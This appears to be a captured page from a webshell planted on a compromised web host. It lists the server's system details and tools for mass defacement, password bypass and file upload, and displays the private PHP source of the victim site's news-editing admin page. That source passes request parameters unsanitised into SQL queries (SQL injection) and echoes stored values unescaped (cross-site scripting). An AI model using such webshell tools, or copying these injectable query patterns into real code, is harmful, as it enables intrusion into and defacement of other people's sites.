Cylul007 Webshell
Server :
Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
php :
8.0.30
on
cgi-fcgi
Time
25 Nov 2024 19:53:56
Current Directory :
/
home
/
amvm
/
www
/
dhanalkalan
/
myadmin
/
Upload File :
Mass Deface
Home
Bypass Passwd
Current File : /home/amvm/www/dhanalkalan/myadmin/update-news.php
<?php include('header.php');?> <!-- =============================================== --> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> Update News </h1> <ol class="breadcrumb"> <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li> <li><a href="#">Update News</a></li> <li class="active">Update</li> </ol> </section> <!-- Main content --> <section class="content"> <div class="callout callout-info"> <h4>Tip!</h4> <p>This page will use to add new news in the admin panel.</p> </div> <!-- Default box --> <?php if(isset($_GET['edit_id'])) { $news_id = $_GET['edit_id']; $get_single_record = "select * from news where id = '$news_id'"; } if (isset($_POST['edit'])) { print_r($_POST); $news_title = $_POST['title']; $news_detail = $_POST['detail']; $sql_query = "UPDATE `news` SET `title` = '$news_title', `detail` = '$news_detail' WHERE id = '$news_id'"; $mysql_2 = mysqli_query($mysql_con, $sql_query); if ($mysql_2 == 1){ echo "<script>window.location.href = 'news.php';</script>"; } else { echo 'Something going wrong'; } /* // print_r($post); //header("Location: pages.php"); //print_r($mysql_2); exit(); */ } $result = mysqli_query($mysql_con, $get_single_record); $row = mysqli_fetch_array($result); ?> <form method="Post" role="form" enctype="multipart/form-data" action=""> <div class="box-body"> <div class="form-group"> <label for="exampleInputEmail1">News Title</label> <input type="text" name="title" class="form-control" id="exampleInputEmail1" placeholder="Enter class" value="<?php echo $row['title']; ?>"> </div> <div class="form-group"> <label for="exampleInputFile">Description</label> <textarea class="textarea" name="detail" placeholder="Place some text here" style="width: 100%; height: 200px; font-size: 14px; line-height: 18px; border: 1px solid #dddddd; padding: 10px;"> <?php echo $row['detail']; ?> </textarea> </div> </div> <!-- /.box-body --> <div class="box-footer"> <button type="submit" name="edit" value="submit" class="btn btn-primary">Submit</button> </div> </form> <!-- /.box --> </section> <!-- /.content --> </div> <!-- /.content-wrapper --> <?php include("footer.php"); ?>
./LuLlaby007 ♥ Tata Cantik - Copyright 2k18